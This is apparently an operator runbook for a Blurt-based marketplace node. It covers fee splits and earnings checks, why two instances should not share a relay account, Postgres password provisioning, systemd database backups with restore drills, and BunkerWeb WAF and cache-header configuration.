Headline numbers (for context — full breakdown in the doc):

Listing fee: targets ~12.5¢ USD-equivalent in BLURT (~25¢ in BTC/XMR) — the canonical LISTING_FEE_USD in @morphit/asset-registry. Env base MORPHIT_INDEXER_FEE_BASE_BLURT (default 125 BLURT, ≈ the target at BLURT ≈ $0.001).
Stranger fee: 5 BLURT for cold messages, escalates with abuse.
Featured-slot bid: 50 BLURT/hour, ≥6 hours minimum.
Account-creation cost: ~100 BLURT per signup (operator's biggest expense — paid by the relay account to the chain; user signs up free).
Welcome bonus: 10 BLURT liquid + 10 BLURT Power on first completed trade.
Loyalty: up to 1,260 BP delegated as cumulative fees cross 100/500/2,000/10,000 BLURT thresholds.
Operator earnings: 90% of BLURT-paid listing fees, delivered directly at payment time via the fee split — 90% to your fees account, 10% to the canonical treasury, in the user's own fee transaction (FEES-AND-REWARDS.md "How listing fees split" section). The canonical treasury keeps 100% of BTC/XMR-paid fees; the BLURT/treasury asymmetry is structural, not greed.

The fee-reward-copy-consistency-smoke runs in the smoke suite to detect drift between the source code and the user-facing copy. If you change a fee or reward in the code, the smoke will fail until you update FEES-AND-REWARDS.md and the relevant FAQ entries to match.

28. Operator-earnings monitoring

Your 90% is paid directly, at payment time — the user's fee transaction sends 90% straight to your fees account (MORPHIT_INDEXER_FEE_RECIPIENT) and 10% to the canonical treasury, in the same transaction. There is no relay payout to watch and nothing to reconcile: if an order verified, your 90% already landed. So "monitoring earnings" is two independent things:

The money — the BLURT itself, which arrives in your fees account on-chain. Check its balance on a chain explorer (https://blocks.blurtwallet.com or similar) or in your wallet.
The dashboard attribution — a running tally the indexer keeps for display, driven by your operator_tag. This is audit/analytics only; it does NOT move money.

Verifying earnings are flowing

curl -s http://localhost:8081/v1/operators/yourtag | jq

Look for:

cumulative_blurt_earned — total BLURT the dashboard has credited you (your 90% shares summed), > 0 once BLURT-paid orders have been attributed to your tag.
total_orders_attributed — count of orders attributed to you.

And separately, confirm the actual BLURT balance of your fees account on-chain — that is the ground truth for the money.

If the money didn't arrive

The 90% is a transfer inside the user's fee transaction, so if it didn't arrive, the fee transaction itself must have failed — which means the order never reached fee_status='verified':

Does your fees account exist on chain? The 90% transfer is addressed to MORPHIT_INDEXER_FEE_RECIPIENT. If that account doesn't exist on Blurt, the chain rejects the whole fee transaction, so the order can't verify. Create the account before your first fee, or fix a typo'd name (morphit-ops edit → Fees account), then restart the indexer.
Check the boot warning. If the indexer logged fee_recipient_invalid at boot, your configured name was rejected and fees fell back to the canonical @morphit-fees. The frontend pays exactly what your indexer verifies against, so they never silently disagree — but a rejected name means you're donating your fees to canonical until you fix it.
Inspect a recent order's fee transaction on a chain explorer: it should contain a transfer of ~90% of the fee to your account and ~10% to @morphit-fees (or a single 100% transfer to @morphit-fees if you run the canonical account).

If the dashboard attribution is missing (but the money arrived)

The money and the dashboard are independent: the split pays your fees account regardless of the tag; the operator_tag only drives the dashboard credit. If your balance grows but /v1/operators/yourtag shows nothing:

Did the order op include your tag? Inspect a recent order op's payload on a chain explorer — its operator_tag must match your registered tag exactly. If missing, your frontend isn't sending it — check MORPHIT_INSTANCE_OPERATOR_TAG in ops/env/indexer.env and confirm the indexer was restarted.

Is your tag in the operators table?

docker-compose exec postgres psql -U morphit_indexer -c \
  "SELECT account, tag, is_active FROM operators WHERE tag = 'yourtag';"

0 rows → the on-chain registration didn't land or didn't index.

Was the order's BLURT fee verified? Attribution only fires for fee_status='verified' BLURT orders (BTC/XMR-paid orders don't attribute — 100% goes to the canonical treasury).

docker-compose exec postgres psql -U morphit_indexer -c \
  "SELECT permlink, fee_method, fee_status FROM orders \
   WHERE account = 'orderposter' ORDER BY created_at DESC LIMIT 5;"

Is the attribution event recorded?

docker-compose exec postgres psql -U morphit_indexer -c \
  "SELECT operator_tag, fee_blurt, operator_share_blurt \
   FROM operator_attribution_events \
   WHERE operator_tag = 'yourtag' \
   ORDER BY observed_at DESC LIMIT 5;"

Edge cases to know about

Operator deactivation. If operators.is_active = FALSE for your row (a future moderation feature), new attributions skip you silently — the dashboard stops crediting you, though any fees your account already received (they were paid directly) stay yours. There is no pending balance to strand.

Self-dealing / mis-tagging. If a hostile user lists orders through your instance carrying a different operator's tag, that other operator gets the dashboard credit — but the money still splits to your instance's fees account (the split follows your configured recipient, not the tag) plus the canonical 10%. So mis-tagging can only misattribute the dashboard analytics, never misroute the fees. The public operator_attribution_events.operator_tag audit trail shows which tag was credited per order.

A natural question from operators considering running a second instance (different domain, different VPS, different host): "Can I just reuse my existing @my-relay and @my-fees accounts, point both deployments at them, and run two frontends in parallel?"

Short answer: NO. The chain itself doesn't reject the attempt, but the two relays will conflict in ways that silently corrupt user signups, cause double-spends on the welcome-bonus drainer, and halve your abuse defenses. This applies whether the "second instance" is a competing brand or just a backup deployment — running two relays signing with the same active key concurrently is broken.

Why it breaks

Drainer-queue double-spend. When a user X signs up via Instance A and later completes their first trade, Instance A's indexer atomically flips X's first_trade_complete_at in A's Postgres and queues two relay_pending_transfers rows for the welcome bonus (10 BLURT liquid + 10 BLURT vesting). Instance B's indexer, watching the same chain, sees the same feedback op and atomically flips X's first_trade_complete_at in B's Postgres (different database, different guard, no cross-instance coordination) and queues another two transfers in B's queue. Now both drainers, both signing as @my-relay, broadcast their transfers. The chain accepts both — they're distinct transactions. User X walks away with 20 BLURT liquid + 20 BLURT vesting instead of 10 + 10. Multiplied across thousands of first-time traders, this drains the relay account twice as fast as it should.

Same problem on every other queued payout. The welcome-bonus case above is just one example — the same double-broadcast pattern applies to every transfer the drainer queues: loyalty milestone BP delegations, operator-payout splits (see §28), waiver bonuses, the 1-BLURT auto-refill dust. Every single one of these will fire from both relays independently because each indexer's queue is local. The chain is happy to accept duplicate-payload transfers as long as the trx hashes differ (different block refs make them differ trivially), so there's no chain-level protection.

Concurrent transaction signing race on retries. Blurt uses TaPoS (transactions-as-proof-of-stake): every signed op carries a ref_block_num / ref_block_prefix plus an expiration window (default ~60 s). Independent ops from each relay land fine. But on retries of the same op (transient RPC failure, exponential backoff), if both relays happen to sign the same operation with the same ref-block, the chain rejects the second as a duplicate trx hash — and the relay that retried thinks the signup or transfer failed even though it already landed. The user sees "signup failed" while the account exists on chain. Hard to debug, easy to repeat, no telemetry to catch it.

Halved abuse defenses. The daily signup ceiling (max_signups_per_day), per-IP invite-token spacing, and Altcha PoW challenge counters all live in each instance's own Postgres. Two instances sharing a relay account means an attacker gets two independent budget pools — you've doubled your daily Sybil cap without realizing it.

Fee collection (the read-only side) is fine. @my-fees only RECEIVES transfers from users posting orders; it never signs anything from the relay. Two indexers reading the same fee account's incoming transfer stream is harmless — they're both observing the chain, not writing to it.

What to do instead

If you want to run a second instance:

Generate fresh accounts for the second relay. Use @my-relay-2 (active key separate from the first), and either share @my-fees (if you want one treasury for both deployments) or use @my-fees-2.
Each instance gets its own Postgres database, its own federation registration (morphit_operator_register_v1 with a distinct operator tag), its own setup wizard run.
Both indexers read the same chain, so the orderbook is federated automatically — that's the design.

If you want a hot-standby DR setup (one relay live, one ready to take over if the first dies), the standard pattern is shared Postgres + active/passive relay processes with a leader-election lock, NOT two independently signing relays. That's an unbuilt feature on the backlog — for now, plan for restore-from-backup rather than live failover.

30. Postgres provisioning — the password sentinel and the init script

The repo ships ops/postgres/init.sql to provision the morphit_indexer Postgres role and database with the correct privileges. It is opinionated about passwords: the script reads the password from the MORPHIT_INDEXER_DB_PASSWORD environment variable and refuses to run if the variable is unset, empty, or set to one of the well-known placeholder strings that have appeared in this repo's example .env files.

The reject list (kept in sync between the SQL script, the indexer's Zod config, the relay's Zod config, and the db-password-placeholder-smoke):

CHANGEME
CHANGE_ME
CHANGE_ME_BEFORE_PRODUCTION
__SET_BEFORE_DEPLOY__
password
postgres

This catches the most common pre-launch mistake: copying ops/env/indexer.env.example to ops/env/indexer.env without editing the password line. Boot of either the indexer or the relay will refuse to proceed if any of these strings appear in the password component of the DATABASE_URL.

Provisioning procedure

# 1. Pick a strong password — at least 32 chars, mixed
#    classes, generated by `openssl rand -base64 32` or
#    similar.  Record it in your password manager.
export MORPHIT_INDEXER_DB_PASSWORD='<generated>'

# 2. Run the init script as the postgres superuser. The -E
#    flag preserves your env var across the sudo boundary.
sudo -E -u postgres psql -f ops/postgres/init.sql

# 3. Construct the DATABASE_URL with that password and
#    write it into ops/env/indexer.env and ops/env/relay.env:
echo "MORPHIT_INDEXER_DATABASE_URL=postgresql://morphit_indexer:${MORPHIT_INDEXER_DB_PASSWORD}@localhost:5432/morphit_indexer" \
    >> ops/env/indexer.env

# 4. Unset the env var so the password isn't sitting in
#    your shell history or process environment.
unset MORPHIT_INDEXER_DB_PASSWORD

# 5. chmod 0600 the env files.
chmod 0600 ops/env/indexer.env ops/env/relay.env

What the script does

Reads MORPHIT_INDEXER_DB_PASSWORD from the env via \getenv. Defaults the psql variable to empty string so an unset env var falls through to the same reject branch as an empty value (clean exit code, no \quit-without-status footgun).
Rejects empty / placeholder values via a DO block that calls RAISE EXCEPTION with a human-readable message. Exit code is 3 (psql's standard "SQL error") so automated runners can detect failure.
Creates the morphit_indexer role with the provided password.
Creates the morphit_indexer database owned by that role, encoded UTF-8, locale en_US.UTF-8.
Locks down the role: NOSUPERUSER NOCREATEDB NOCREATEROLE. The role owns its own database so it can run migrations, but cannot create other databases or roles.
Resets the session GUC so the password doesn't linger in the connection.

Runtime guardrails

The same reject list is enforced at boot time:

apps/indexer/src/config/index.ts Zod schema refuses to accept a MORPHIT_INDEXER_DATABASE_URL whose password component is one of the placeholders.
apps/relay/src/config/index.ts enforces the same refinement on MORPHIT_RELAY_DATABASE_URL.

If you forget to edit the example file, the indexer or relay will fail at startup with a clear error message instead of running on a guessable password. CI also catches re-introduction of any placeholder string in tracked source via the db-password-placeholder-smoke.

Rotating the password later

The same procedure works for rotation. The role already exists, so use ALTER ROLE instead of CREATE ROLE:

sudo -u postgres psql -c "ALTER ROLE morphit_indexer PASSWORD '<new-pw>';"

Then update the DATABASE_URL in both env files and restart indexer + relay. The Zod schemas re-validate at boot — there's no in-memory cached connection string.

31. Daily DB backup automation

Promoted from a copy-paste recipe in docs/RUN-A-MORPHIT-NODE.md to a first-class wizard step in Audit Part 32 (2026-05-04). The shipped files:

ops/backup/morphit-backup.sh      # the script (shipped, generic)
ops/backup/backup.env.example     # config template
ops/systemd/morphit-backup.service  # systemd oneshot service
ops/systemd/morphit-backup.timer    # daily at 04:00 local

Verifying backups ran (status dashboard)

morphit-ops status (main-menu item #10, "Status dashboard") ends with a Backups section that lists the backup directory and the 3 most recent backup files — each with its age and size — so you can confirm at a glance that the timer is actually producing backups. It resolves the directory from MORPHIT_BACKUP_DIR, else BACKUP_DIR in /etc/morphit/backup.env, else the default /home/morphit/backups. The section prints the on-disk path so you can copy a file off the host (e.g. scp) to download it or hand it to a developer. It is read-only — it never creates, deletes, or rotates backups; rotation stays the timer's job. (--json includes the same data under a backups key for scripting.)

Wizard flow

morphit-ops init step 17 asks: "Enable daily DB backup automation?" — default Yes. If yes, also asks for:

Backup directory (default /home/morphit/backups)
Retention days (default 30)

The wizard writes ops/backup/backup.env to the repo with operator-specific values (the script and systemd units are static and stay generic). The post-install summary prints these install commands:

sudo install -m 640 -o root -g morphit ops/backup/backup.env /etc/morphit/backup.env
sudo install -d -m 755 /usr/local/lib/morphit
sudo install -m 755 ops/backup/morphit-backup.sh /usr/local/lib/morphit/
sudo install -m 644 ops/systemd/morphit-backup.service /etc/systemd/system/
sudo install -m 644 ops/systemd/morphit-backup.timer /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-backup.timer

Two preconditions that will otherwise bite you. The shipped unit runs as User=morphit, not root:

The env file must be readable by that user. That is why the install above is -m 640 -o root -g morphit and not -m 600 -o root -g root — with root-only permissions the script's [ -r "$BACKUP_ENV" ] guard fails and the very first systemctl start dies with cannot read /etc/morphit/backup.env.
On a containerized Postgres, that user needs docker. The dump runs through docker exec, so the backup user must be in the docker group (sudo usermod -aG docker morphit). Docker-group membership is root-equivalent — grant it only on nodes that actually run a containerized DB.

Also: if your backup directory already exists and is owned by root — e.g. an earlier root-run backup script created it — hand it to the service user (sudo chown -R morphit:morphit /home/morphit/backups), or the dump cannot be written.

Always prove the first dump. A backup you have never seen succeed is not a backup; run the systemctl start + journalctl check below and confirm a real byte count and a real file on disk.

Clearing a self-trade flag (restoring an account)

Signals A and B are heuristics, and honest activity can trip them — two accounts created from the same machine and reviewing each other looks, to a detector, exactly like self-dealing. A flagged account loses its reputation card, and its reviews are shown subdued behind a "Not counted toward rating — reviewers flagged as related" pill.

Since v1.8.9, morphit-ops → Moderation offers "Clear a flag (restore an account)" alongside block and unblock. Pick the signal, name the two accounts (either order), and confirm. The account is restored immediately — the reputation card returns and the reviews stop being subdued — because every reputation and review query still reads the flag tables and the pair is simply no longer in them.

The clearance is also recorded, and that half matters just as much: the detectors re-run continuously and would re-raise the identical flag on their next pass, so deleting a flag row on its own appears to work and then silently undoes itself. A recorded clearance is what makes the restore permanent.

The two signals are cleared with different lifetimes, on purpose.

Related accounts (Signal A) — permanent. It keys on account-creation facts: same creator, first activity minutes apart. That evidence is immutable, so a clearance that expired would re-flag the same pair forever on the same unchangeable evidence, and you would be clearing it on a treadmill.
Mutual reviews (Signal B) — forgiven, then watched. It is behavioural, so clearing records a watermark: the pair's mutual-review count at that moment. Everything up to the mark is forgiven; the flag re-fires only once they accumulate another full signal's worth beyond it. A pair cleared by mistake is therefore still caught by new behaviour, while an honest pair is never re-flagged on the same forgiven history. Note that a fixed time window would do the opposite — it re-flags on the old evidence the moment it expires.

Because a pair that trips one signal usually trips both, the menu offers "Both signals for this pair" as the leading option; the clearances list shows each one's lifetime (permanent, or watched from N mutual reviews).

Clearances are instance-local, like blocking: nothing is broadcast, and no other instance's view of those accounts changes. The same menu lists the clearances in force so you can review or undo them; undoing simply makes the pair eligible for flagging again — it does not re-raise a flag by hand.

Then let morphit-ops health watch it for you. Since v1.8.9 the health report carries a Backups line beside Services and Canary:

  Backups   ✓ fresh
      Newest dump:   morphit-20260722-042219.sql.gz (398K, 13h ago)
      a recent dump is on disk

The states are worth knowing, because they are not all equally bad:

✓ fresh — a dump landed within the last 36 hours (wide enough to absorb the timer's randomised delay).
⚠ stale — the newest dump is older than that, so at least one nightly run was missed.
✗ failing — one of three things: the unit is in systemd's failed state, the timer fired more recently than the newest dump (a run executed and produced nothing), or the newest dump is too small to be a dump at all. The second case is the shape of the v1.8.4–v1.8.7 dash bug, where the timer ran faithfully every night and silently wrote nothing. The third is its successor, fixed in v1.8.10 and described below — a dump that is perfectly recent and completely useless.
✗ missing — configured, but no dump has ever been written.
○ not-configured — no /etc/morphit/backup.env. Running your own backup instead is a legitimate choice, so this is reported neutrally rather than as a fault.
⚠ unreadable — the CLI could not read the env file or the backup directory. Note this is deliberately not reported as "missing": backup.env is 640 root:morphit and the dump directory is 700 morphit:morphit, so another user genuinely cannot look. Run as the morphit user (or with sudo) to see freshness.

A manual systemctl start does not update the timer's last-trigger, so a hand-run dump never reads as a failure.

A failed dump is no longer kept (v1.8.10)

Through v1.8.9 the backup script could report success on a dump that had failed. POSIX sh has no pipefail, and Debian/Ubuntu build dash without it, so pg_dump | gzip reported gzip's exit status — zero — even when pg_dump had died. The emptiness guard could not catch it either, because gzip of a failed dump is still a valid ~20-byte file. A refused database connection therefore wrote 20 bytes, renamed it to a real backup filename, printed wrote … (20 bytes) and exited 0. The freshness check above then reported it as ✓ fresh, because it genuinely was the newest file.

From v1.8.10 the script captures pg_dump's own exit status through a file the pipeline cannot swallow, and compares the result against what the same pipeline produces for an empty dump. A failed or empty dump is deleted and the run exits 4 with the real reason. Separately, morphit-ops health now reports any newest dump under 1 KiB as ✗ failing rather than fresh — the indexer schema alone compresses to tens of kilobytes, so a legitimate dump is never close to that floor.

What this means if you are upgrading. If your database has an intermittent problem, you may now see backup failures where you previously saw silent success. That is the fix working, not a new fault — those runs were already failing, you were just not being told. Two things are worth doing once:

# 1. Re-install the script so the box runs the fixed version.
sudo install -m 755 ops/backup/morphit-backup.sh /usr/local/lib/morphit/

# 2. Look for fragments left by the old behaviour, and delete any you find.
#    A real dump is tens of KB at minimum; anything in the tens of BYTES is
#    a failed run that was banked as a restore point.
ls -lS /home/morphit/backups | tail -20

Then run morphit-ops health and confirm the Backups line reports a plausible size alongside the age.

The script is installed to /usr/local/lib/morphit/morphit-backup.sh (NOT executed in-place from the repo). This decouples the systemd unit from the operator's repo location: the unit's ExecStart is hardcoded to the stable system path, so it works regardless of whether the repo is at /home/morphit/morphit, /opt/morphit, or anywhere else. When git pull brings in script changes, the operator re-runs just the sudo install -m 755 ops/backup/morphit-backup.sh ... command.

Containerized Postgres (Docker-aware backups)

If your Postgres runs inside a Docker container (a BunkerWeb or docker-compose stack — there's no pg_dump on the host, and the DB isn't on a host socket), the backup dumps through the container:

docker exec "$DB_CONTAINER" pg_dump -U "$DB_USER" "$DB_NAME" | gzip > backup.sql.gz

driven by one field in /etc/morphit/backup.env:

DB_CONTAINER=bunkerweb-db-1   # set → docker-exec path; empty → host pg_dump

You do not set this by hand. morphit-ops init and every morphit-ops upgrade auto-detect a containerized Postgres and fill DB_CONTAINER for you — detection is name-agnostic (it finds a running Postgres-family container that actually hosts the morphit database via the same trust/peer path the backup will use, never a hard-coded name). DB_NAME and DB_USER are likewise derived from your MORPHIT_INDEXER_DATABASE_URL at setup (init and harden), so a non-standard box — e.g. a BunkerWeb DB on morphit_user/morphit_db — is backed up correctly without any hand-editing; probing the container under the real identity also makes detection a provable match rather than a best-guess. On the container path, pg_dump runs inside the container against its own local socket, so DB_HOST/DB_PORT are ignored and no password is needed (container-local trust/peer auth).

If you set up backups before this became automatic and your DB is containerized, the daily backup was quietly dumping the host (capturing nothing). The next morphit-ops upgrade detects that drift and prints the exact one-line fix, e.g.:

sudo sed -i 's/^DB_CONTAINER=.*/DB_CONTAINER=bunkerweb-db-1/' /etc/morphit/backup.env
sudo systemctl start morphit-backup.service   # test it now
journalctl -u morphit-backup.service -e

The backup user must be able to run docker (in the docker group); if DB_CONTAINER is set but docker isn't reachable, the script loud-fails rather than silently falling back to a host dump of the wrong (or empty) database. Restoring a containerized DB likewise goes through the container — see the restore drill below.

Why systemd timer (not cron)

Failures land in journalctl -u morphit-backup.service alongside Morphit's other service logs.
Persistent=true means a missed run (laptop suspended at 04:00, server rebooting) fires when the timer is next active — daily-ish becomes daily.
RandomizedDelaySec=30m smears wakeup across operators in a fleet, so a coordinated 04:00:00 hammer doesn't hit Blurt RPCs simultaneously (the indexer might be mid-poll when the dump starts).
OnFailure= directives can email or page on a failed backup (operator wires this to their existing alert chain).

Why backup.env lives in /etc, not the repo

The systemd service runs as the morphit system user with hardening directives (ProtectSystem=strict, ProtectHome=read-only, NoNewPrivileges=true). For a service like that, the operator config file at /etc/morphit/backup.env is the standard pattern:

Root-owned 600, so a compromised application user can't tamper with the backup target dir.
Survives a git pull (the wizard writes to the repo, but the deployed copy lives outside).
Operator can change retention days or backup dir without touching the repo or restarting anything — the script reads the env file at the start of each run.

The wizard does not write to /etc directly because it runs as the operator user (no sudo). It writes to the repo path, prints the install commands above, and the operator runs those once.

Verifying

systemctl list-timers morphit-backup.timer
journalctl -u morphit-backup.service --since '1 day ago'
ls -lh /home/morphit/backups

If the most recent backup is older than 26 hours, something's wrong — start with journalctl -u morphit-backup.service -e to see the last failure.

Quarterly restore drill

A backup that's never been tested isn't a backup. Once a quarter, restore the most recent backup to a throwaway database and diff the orderbook count against production:

createdb morphit_indexer_test
gunzip < /home/morphit/backups/morphit-YYYYMMDD-HHMMSS.sql.gz | psql morphit_indexer_test
psql morphit_indexer_test -c "SELECT COUNT(*) FROM orders WHERE expired = false"
psql morphit_indexer      -c "SELECT COUNT(*) FROM orders WHERE expired = false"
dropdb morphit_indexer_test

The two counts should be within ±1 (some orders may have expired between the snapshot and "now"). If they differ by more than that, your backups aren't capturing complete state — investigate before trusting the backups for real recovery.

If your Postgres is containerized (DB_CONTAINER set), run the same drill through the container — the dump was taken that way, so restore it that way:

docker exec "$DB_CONTAINER" createdb -U "$DB_USER" morphit_indexer_test
gunzip < /home/morphit/backups/morphit-YYYYMMDD-HHMMSS.sql.gz | docker exec -i "$DB_CONTAINER" psql -U "$DB_USER" morphit_indexer_test
docker exec "$DB_CONTAINER" psql -U "$DB_USER" morphit_indexer_test -c "SELECT COUNT(*) FROM orders WHERE expired = false"
docker exec "$DB_CONTAINER" dropdb -U "$DB_USER" morphit_indexer_test

(Substitute your real DB_NAME/DB_USER from /etc/morphit/backup.env.)

Off-server replication

The local timer keeps a 30-day rolling backup. If the server burns down, you lose those too. See docs/RUN-A-MORPHIT-NODE.md §10 for rsync / rclone / S3 recipes. The simplest add-on cron runs 30 minutes after the dump, giving the .partial file time to land:

30 4 * * * rsync -az --delete /home/morphit/backups/ user@backup-host:/path/to/morphit/

What this does NOT cover

The posting key (apps/relay/keystore.{wif,json}) — back up separately, see §9 "Paper-key backup protocol" for the secure off-server pattern.
Encryption at rest of the backup directory itself — operator's choice (filesystem-level LUKS on the backup partition is the simplest pattern).
Verifying that the off-server copy is intact — rsync's --checksum or rclone's verify should be added to the off-server cron if losing both copies would be catastrophic.

32. BunkerWeb — recommended WAF / reverse-proxy hardening

BunkerWeb is an open-source AGPLv3-licensed reverse proxy with built-in Web Application Firewall (WAF) features. Same license as Morphit; no licensing concern. Recommended for any public-facing Morphit instance — the morphit repo ships a canonical, tested-shape BunkerWeb deployment at ops/bunkerweb/ (paralleling ops/nginx/, ops/systemd/, etc.). Copy + edit + docker compose up -d and you have a WAF-fronted instance with OWASP CRS at paranoia 3, anti-Referer: none on the invite endpoint, real-IP forwarding wired correctly to the relay's trusted-proxy chain, and a fixed Docker network CIDR (172.20.0.0/16) you can hard-code into MORPHIT_RELAY_TRUSTED_PROXY_IPS without re-inspecting after rebuilds.

The Ansible playbook's bunkerweb role deploys this directory verbatim. Operators not using Ansible follow the Quick Start in ops/bunkerweb/README.md.

Canonical topology (what ops/bunkerweb/ ships): client ──TLS──> bunkerweb ──> frontend nginx ──> host relay (8080) / indexer (8081). BunkerWeb is the only public entry — it terminates TLS, runs the WAF + rate limits, sets the real client IP, then proxies EVERY path (a single REVERSE_PROXY_HOST=http://frontend:80) to a lightweight frontend nginx container. That container serves the built SvelteKit site for page routes AND reverse-proxies the API paths (/v1/, /relay/, /rss/, and the SSE .../stream paths) to the relay + indexer on the host — its routing mirrors ops/nginx/web.conf minus the TLS + security headers BunkerWeb owns (see ops/bunkerweb/frontend/nginx.conf). Doing all the static-serving + SPA fallback + per-path proxy + SSE in one nginx is far easier to get right than expressing it in BunkerWeb env vars. The relay + indexer therefore bind on an address the Docker bridge can reach (NOT loopback-only — a 127.0.0.1 bind is unreachable from the frontend container and every proxied call 502s); UFW's default-deny keeps the public out and the bunkerweb role adds an allow for the 172.20.0.0/16 bridge CIDR only. The illustrative BunkerWeb env-var snippets further down show BunkerWeb's setting shapes; the authoritative morphit config is ops/bunkerweb/ + its README.md.

Concurrent-connection caps for the chat SSE paths (/v1/chat/:a/:b/stream, /v1/chat-activity). The indexer deliberately does NOT apply its per-minute REST rate limiter to these two long-lived SSE endpoints (a persistent stream shouldn't share a per-request budget) — it defers the limit to this proxy layer, on purpose. The relevant DoS surface here is not request rate but concurrent-connection count: one client (or a botnet) holding thousands of open streams. So the proxy in front of the indexer must enforce a per-IP concurrent-connection cap on those paths — BunkerWeb's connection-rate + slow-loris guards cover the common case; if you want an explicit ceiling, the frontend nginx (ops/bunkerweb/frontend/nginx.conf) is the natural place for an nginx limit_conn zone keyed on the real client IP scoped to the .../stream and /v1/chat-activity locations (a generous cap — e.g. a few dozen per IP — so legitimate multi-tab / multi-device users are unaffected while a single source can't exhaust connection slots). This does not touch fast-path latency: the stream itself is server-push, and the cap only bounds how many streams one source may hold open at once. If you run WITHOUT BunkerWeb, this cap is your responsibility to add at whatever proxy fronts the indexer.

(menu: "Secure the server" → "Web firewall (BunkerWeb): install / status") inspects whether the bunkerweb and bunkerweb-scheduler containers are running and healthy. If they already are — or if you pass --json, or run it non-interactively (no TTY) — it is read-only: it reports status and prints the bring-up commands, nothing more. If BunkerWeb isn't up yet and you're at an interactive terminal, it offers a guided, ELI5 installer that confirms before each step: it copies the shipped ops/bunkerweb/ config into /etc/bunkerweb (never clobbering an existing config), prompts for your domain (SERVER_NAME) and validates it, guards against the missing-TLS-certificate crash-loop (it stops and points you at morphit-ops ssl first if the cert isn't there yet), then runs docker compose pull and docker compose up -d and re-verifies. BunkerWeb's Docker images are pulled from BunkerWeb's own registry; Morphit ships only the config, not the images.

Reasons you might NOT want BunkerWeb:

Small private instance with a single-operator audience — the added complexity isn't worth the marginal defense.
Tor-only or Lokinet-only deployment — squatters typically don't route through anonymity networks; the .onion path has natural friction (§38.6 item a) and adding a WAF in front of an onion service complicates the routing.
Resource-constrained VPS (<1 GB RAM) — BunkerWeb + scheduler containers add ~150–250 MB resident.

For everyone else, deploy it. Reasons it's the default recommendation:

OWASP-Top-10 protection out of the box (SQL injection, XSS, path traversal, etc.) without writing nginx ModSecurity rules.
Curated bot lists + behavioral detection layered on top of basic User-Agent blocking.
Per-country / per-AS rate limiting in addition to per-IP.
Built-in GeoIP, slow-loris guards, connection-rate limits.
Single dashboard for HTTPS certs, request rate limits, country blocking, and OWASP rule tuning.

Caching the update surface — `/service-worker.js` + `verify.json` (why the update snackbar may not appear)

The in-app "Load it now" update snackbar that prompts users to reload after you deploy depends on two files always being served fresh:

/service-worker.js — the browser refetches it on every update check (the app registers the worker with updateViaCache: 'none', so it never uses the browser's HTTP cache for it), and a byte-changed worker is exactly what raises the snackbar. The build embeds a per-deploy version hash, so the file changes on every release.
verify.json — this build's version + per-file hash manifest. The app's belt-and-suspenders update-version poll and the "About this instance" auto-verify both read it.

updateViaCache: 'none' only stops the browser from answering from its own cache — it does not stop an upstream cache. If BunkerWeb's edge cache (or any CDN in front) serves /service-worker.js stale, the browser receives the old worker on the network fetch, no update is detected, and the snackbar never appears — on mobile and desktop. A stale verify.json likewise makes the app think it's already up to date.

The shipped configs now mark both no-cache so BunkerWeb and the browser always revalidate:

ops/bunkerweb/frontend/nginx.conf (the container BunkerWeb proxies to) has location = /service-worker.js and location = /verify.json blocks emitting Cache-Control: no-cache, AND docker-compose.yml now bind-mounts that file into the container (the Dockerfile COPY is a baked fallback the mount overrides). So config changes deploy like build changes: pull the new source, then restart the container — morphit-ops upgrade already docker restarts it, so the no-cache blocks ride along on a normal upgrade with no image rebuild. One caveat for instances deployed BEFORE the mount was added: a plain restart won't attach a new volume to an already-running container, so run docker compose up -d frontend once (recreates it with the mount); after that, restarts/upgrades pick up config changes automatically. (Fresh installs get the mount from the first docker compose up -d.) The app-side update poll does NOT depend on any of this — it ships in the web build, which morphit-ops upgrade redeploys — so the update snackbar works after a normal upgrade regardless; the no-cache config additionally keeps the service worker itself fresh.
ops/nginx/web.conf (bare-metal) has the equivalent blocks (with a full security-header re-emission, since add_header in a location drops inherited headers — see the comment there; the hand-paste example in RUN-A-MORPHIT-NODE.md uses the shorter expires -1 form, which sets no-cache without that footgun).

BunkerWeb passes an upstream Cache-Control: no-cache through and honors it for its own caching, so the frontend-container block is sufficient — you do not need a separate BunkerWeb cache rule. (If you have explicitly enabled BunkerWeb's USE_CACHE, confirm it isn't configured to override upstream cache directives for these two paths.)

Never let an edge cache override the indexer's /v1/ cache headers. The read API sets Cache-Control per response and the value is load-bearing. In particular, GET /v1/profiles (the batch profile lookup behind every avatar + display name) returns public, max-age=90, stale-while-revalidate=60 only when EVERY requested account resolved to a profile row, and no-store when any requested account is absent — because an absent account is normally just indexer lag in the 1–2 block window after that account broadcast its profile op or signed up. If a proxy or CDN caches that negative response anyway, the affected users' display names fall back to @account and their avatars to the identicon, and (since the client's in-memory cache is cleared by a reload but the browser's disk cache is not) a page refresh does not fix it — only a hard reload does. Proxy /v1/ through untouched.

The app no longer relies solely on the service-worker byte-diff: the update-version poll compares verify.json's deployed version to the running bundle's version on every tab-foreground and surfaces the snackbar on a mismatch even if a proxy served the worker stale. The no-cache config above is still the right fix — it keeps the worker itself updating promptly and the poll cheap — but the two together mean the prompt appears regardless of proxy quirks.

Beta gate note: if you front the beta site with HTTP Basic Auth, exempt /verify.json from the auth (e.g. auth_basic off; inside its location block) so the version poll and auto-verify can read it. The poll sends the visitor's existing credentials, so it works through the gate either way, but the exemption is what lets the "About this instance" auto-verify succeed instead of reporting "Could not auto-verify."

If your reverse proxy serves the build directly (single-nginx topology)

The two shipped nginx configs above assume the canonical two-container split — BunkerWeb terminates TLS and reverse-proxies to a separate frontend nginx that serves the static build, and the no-cache blocks live in that frontend's nginx.conf. Some instances instead run a single nginx that does everything: it terminates TLS, serves /usr/share/nginx/html directly, AND proxies /relay/, /v1/, /rss/ to the host. (Tell-tale: docker ps shows one edge container bound to :80 and :443 and there is no separate frontend service; docker exec <edge> nginx -T shows root /usr/share/nginx/html; alongside your proxy_pass blocks.) In that topology the shipped ops/bunkerweb/frontend/nginx.conf is not the file serving /service-worker.js and /verify.json, so its no-cache blocks never apply — and the update prompt silently breaks even though the repo "has" the fix. This is the single most common way a hand-rolled node ends up with a stale-worker problem.

Put the blocks in the server config that actually serves the build — the same one holding your location /, /relay/, and /v1/ blocks — inside the port-443 server { … }:

location = /service-worker.js {
    add_header Cache-Control "no-cache" always;
    try_files $uri =404;
}
location = /verify.json {
    add_header Cache-Control "no-cache" always;
    try_files $uri =404;
}

